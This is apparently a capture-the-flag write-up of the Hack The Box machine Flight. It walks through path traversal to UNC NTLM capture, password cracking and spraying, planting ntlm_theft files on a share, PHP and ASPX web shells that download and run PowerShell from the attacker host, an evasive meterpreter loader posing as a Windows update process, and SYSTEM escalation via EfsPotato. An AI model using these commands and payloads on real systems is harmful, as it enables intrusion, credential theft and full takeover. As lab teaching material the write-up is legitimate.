Post

HTB • Flight

Flight is a hard windows machine created by Geiseric on Hack the Box that features a vulnerable Active Directory domain controller. The machine hosts a web server that enables attackers to read local files or UNC paths, which we use to get the password for the user svc_apache. This user also shares their password with another user, S.Moon. We use S.Moon’s account to trick the user C.Bum into leaking a crackable NTLM authentication attempt, from which we recover the password. we then use C.Bum’s account to write and execute a PHP web shell on the target, from which we can upload another web shell that is then executed by IIS APPPOOL\DefaultAppPool. We finally use this identity to abuse a special privilege to get access as NT AUTHORITY\SYSTEM

Initial Recon

Let’s first set up our environment and run a TCP port scan with this custom nmap wrapper.

1
2
3
4
5
6
# bryan@attacker
rhost="" # Target IP address
lhost="" # Your VPN IP address
echo rhost=$rhost >> .env
echo lhost=$lhost >> .env
. ./.env && ctfscan $rhost

Some of the more relevant open TCP ports reported in the scan include:

PortServiceProductVersionFingerprints
53DNSSimple DNS Plus  
80HTTPApache httpd2.4.52OpenSSL/1.1.1m PHP/8.1.1
88KRBWindows Kerberos  
135MSRPCWindows RPC  
389LDAPActive Directory LDAP  
445SMB   
5985WinRM   

Based on the presence of open ports 88/TCP and 389/TCP, we’ll assume that this machine is an Active Directory domain controller. We can also locate the domain name as flight.htb in the scan results.

1
2
#bryan@attacker
echo domain=flight.htb >> .env && . ./.env

Web

We’ll begin by visiting the HTTP server running on port 80.

1
2
3
4
# bryan@attacker
mkdir logs/web
curl -si $rhost | tee logs/web/index.http
cat logs/web/index.http | grep -i flight # Check for hostname

It looks like the site might expect the hostname flight.htb. let’s check for subdomains with ffuf.

1
2
# bryan@attacker
ffuf -u http://$rhost -H Host:\ FUZZ.$domain -w ~/wordlist/subdomains-100k.txt -mc all -fs 7069

the server returns a different response when given the hostname school.flight.htb in the host header. We’ll add this virtual hostname to our /etc/hosts file and continue.

1
2
# bryan@attacker
echo -e $rhost\\t$domain\ school.$domain | sudo tee -a /etc/hosts

School Site

When navigating to https://school.flight.htb/ in our browser, we find a simple site with a few links to other pages.

Flight school homepage The flight school home page

The About Us page at /index.php?view=about.html presents some interesting, potentially dangerous functionality. index.php seems to use the view parameter to fetch a resource from the local filesystem and print the contents. We notice that our request gets filtered when we use backslashes as our directory separator to request files.

Filtered path Our request is filtered when we use backslashes in the view parameter

However, when we request a file using the forward slash directory separator like /index.php?view=./about.html, we successfully fetch the file. With this in mind, let’s try to traverse the filesystem and read another file that might exist on Windows like C:\Windows\win.ini.

Path traversal We successfully read C:\Windows\win.ini

It works! Since we’re on Windows and we control the entire file path, we could potentially use an UNC path to capture a crackable NTLM authentication attempt.

1
2
# bryan@attacker
sudo responder -I tun0
1
2
# bryan@attacker
curl "http://school.flight.htb/index.php?view=//$lhost/x/test.jpg"

Responder callback We capture an NTLM authentication attempt over SMB

We get the authentication attempt formatted into a crackable hash. We’ll copy this to a file and use John the Ripper to try to crack it.

1
2
# bryan@attacker
john ./netntlmv2.txt --wordlist=~/wordlist/rockyou.txt # use classic rockyou.txt wordlist

The hash for svc_apache is successfully cracked and we recover the password S@Ss!K@*t13.

Active Directory

Password Spraying

Let’s use the credentials we found with a simplified version of impacket’s GetADUsers.py from here to gather a list of domain users. Then we’ll then spray each user with the known password.

1
2
3
# bryan@attacker
./simple-GetADUsersLDAP.py $domain/svc_apache:'S@Ss!K@*t13' | tee adusers.txt
kerbrute -d $domain --dc $rhost passwordspray adusers.txt 'S@Ss!K@*t13'

The password is also valid for the user S.Moon.

SMB

With our valid credentials, we’ll get a list of SMB shares on the machine using smbmap.

1
2
3
4
5
# bryan@attacker
mkdir logs/smb
for u in svc_apache S.Moon
  do smbmap -H $rhost -p 'S@Ss!K@*t13' -u $u | tee logs/smb/$u-smbmap.log
done

There are three non-standard shares being served: Shared, Users, and Web. We notice that S.Moon has write access to the shared called Shared, while svc_apache does not.

1
2
# bryan@attacker
smbclient -U S.Moon //$rhost/Shared | tee -a logs/smb/S.Moon-smbclient.log

The share doesn’t seem to have anything in it though. Since we seem to have write access, we’ll try uploading a file produced by ntlm_theft and see if we get a callback.

1
2
# bryan@attacker
./ntlm_theft.py -g all -s $lhost -f important

We’ll just start up Responder, upload all of the files, and pray that a user browses to this directory.

1
2
# bryan@attacker
sudo responder -I tun0 -v # Start listening for callbacks
1
2
3
4
# bryan@attacker
cd important # Enter NTLM stealer directory
(echo 'S@Ss!K@*t13' | smbclient -U S.Moon //$rhost/Shared -c "prompt;mput *") |
  tee -a logs/smb/S.Moon-smbclient.log

We hit an access error when uploading most of the files, but we do successfully upload desktop.ini which involves very little user interaction. After some time, we get a callback from the user C.Bum.

NTLM Theft We read an NTLM authentication attempt for the user C.Bum

We’ll attempt to crack this hash with John the Ripper as we did before.

1
2
# bryan@attacker
john netntlmv2.txt --wordlist=~/wordlist/rockyou.txt # use classic rockyou.txt wordlist

We recover the password Tikkycoll_431012284 for the user C.Bum.

Domain Enumeration

We’ll use Bloodhound.py to gather domain information that will be ingested by BloodHound.

1
2
3
# bryan@attacker
bloodhound-python -u 'svc_apache' -p 'S@Ss!K@*t13' -d $domain \
  -ns $rhost --zip --auth-method ntlm -w 4 -c All,LoggedOn

Now we’ll load the archive into BloodHound, mark svc_apache, S.Moon, and C.Bum as owned, and begin to search for relevant information.

BloodHound

Unlike our other two owned users, C.Bum is a member of a non-standard group called WebDevs.

C.Bum Groups C.Bum is a member of a custom group

We suspect that this group has some privileges that would make sense for a web developer. Let’s check the account’s access to the Web share we spotted earlier.

1
2
# bryan@attacker
smbmap -u C.Bum -p 'Tikkycoll_431012284' -H $rhost | tee logs/smb/C.Bum-smbmap.log

The user C.Bum has write access to the Web share. If we can write to the web root, we could potentially execute code with a web shell.

1
2
# bryan@attacker
smbclient -U C.Bum //$rhost/Web | tee -a logs/smb/C.Bum-smbclient.log

The share does seem to access the web roots of both sites we visited earlier. Writing to the school site is certainly more valuable because it could allow us to execute PHP code.

Remote Access

Let’s assemble a PHP script with a command to establish a meterpreter shell on the target.

1
2
3
4
5
<?php
$lhost="10.10.14.9";
$cmd="powershell -ep bypass -w hidden -nop -c \"iex(iwr -useb $lhost).content\"";
echo `$cmd`;
?>

This PHP file should execute a powershell script that we will host on port 80 at /. We’ll populate this file with a script that will download and execute another file that will be our meterpreter, hosted at /home.html. To evasively load the meterpreter we’ll use this custom script.

First we’ll setup our meterpreter and generate our shellcode.

1
2
3
4
5
6
7
# bryan@attacker
lport="443"
password=$(openssl rand -base64 12)
cmd="use windows/x64/meterpreter/reverse_tcp_rc4"
cmd="$cmd;set lhost $lhost;set lport $lport;set rc4password $password"
cmd="$cmd;generate -f raw -o mtp.bin;to_handler"
msfconsole -x "$cmd"

Then we’ll compile the shellcode into the evasive loader, making sure to save the key from the output.

1
2
3
# bryan@attacker
python3 scxor.py -f mtp.bin | tee logs/obf.log # !! SAVE THIS KEY !!
mkdir serve && mv simple.exe serve/home.html
1
2
3
4
5
6
7
$lhost="10.10.14.9" # Listener host
$c="[CHANGE ME]" # The key from scxor.py
$n="WindowsUpdate_$env:UserName" # Process name

iwr -useb "$lhost/home.html" -o "$env:Temp\$n.exe";
kill -Name $n -EA silent
Start-Process $f -arg $c

Finally, we’ll serve the payloads over HTTP port 80, upload the PHP file to the school site’s web root in the Web share, and visit the PHP file to trigger execution.

1
2
# bryan@attacker
cd serve && python3 -m http.server --bind $lhost 80
1
2
3
4
5
6
# bryan@attacker
from="j7An4l.php"
to="school.flight.htb/images"
(echo 'Tikkycoll_431012284' | smbclient -U C.Bum //$rhost/Web -c "cd $to;put $from") |
  tee -a logs/smb/S.Moon-smbclient.log &&
  curl "http://school.flight.htb/images/$from"

Upon fetching the file at /images/j7An4l.php, we get a callback to our metasploit listener and establish a meterpreter session.

Privilege Escalation

Using our meterpreter, we find out that there is a service running on port 8000 that we can only access locally.

1
2
3
4
# svc_apache@flight.htb (powershell)
mkdir C:\Update
cd C:\Update
netstat -ano -p TCP | Tee-Object netstat.log

Since this is a common alternate web port, we’ll try to fetch http://127.0.0.1:8000/ using PowerShell.

1
2
3
# svc_apache@flight.htb (powershell)
$r = IWR -UseBasic "127.0.0.1:8000"
$r.Headers

The site seems to be running IIS with ASP.NET, which is interesting because the server we accessed before on port 80 was running Apache with PHP. The web root for this site should be somewhere in the C:\inetpub folder, which is default for IIS sites.

1
2
# svc_apache@flight.htb (powershell)
ls -Force C:\inetpub

There are actually two web roots here: C:\inetpub\wwwroot and C:\inetpub\development, with the development site being the one in use. We become curious if any of our owned users, all of which have some relation to web development, can write to this folder. Let’s check the ACL.

1
2
# svc_apache@flight.htb (powershell)
Get-Acl C:\inetpub\development | fl

It seems like C.Bum can write to this folder. We could potentially use this access to upload an ASP web shell and get execution as the default IIS user. We’ll use RunasCs to move a web shell to that folder as C.Bum, making sure to replace the listener host in the web shell.

1
2
3
4
5
6
7
8
9
10
11
12
<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>

<script Language="c#" runat="server">
void Page_Load(object sender, EventArgs e) {
  ProcessStartInfo p=new ProcessStartInfo();
  p.FileName="powershell";
  p.Arguments="-Command iex(iwr -useb 10.10.14.9).content";
  Process.Start(p);
}
</script>
1
2
3
4
# svc_apache@flight.htb (powershell)
.\RunasCs.exe C.Bum Tikkycoll_431012284 "whoami" # Verify execution
.\RunasCs.exe C.Bum Tikkycoll_431012284 "copy C:\Update\x.aspx C:\inetpub\development"
IWR -UseBasic "http://127.0.0.1:8000/x.aspx"

Once we trigger the payload, we get a callback to our HTTP server, then a new meterpreter session is established as the user IIS APPPOOL\DefaultAppPool. Using metasploit’s getprivs command on our new meterpreter session, we discover that this user has the SeImpersonatePrivilege right. We can abuse this with metasploit’s getsystem command while specifying the reliable EfsPotato technique.

1
2
3
# IIS APPPOOL\DefaultAppPool@flight.htb (meterpreter)
getsystem -t 6
getuid

At this point, we have a shell as NT AUTHORITY\SYSTEM and we can read both flags at C:\Users\C.Bum\Desktop\user.txt and C:\Users\Administrator\Desktop\root.txt.

This post is licensed under CC BY 4.0 by the author.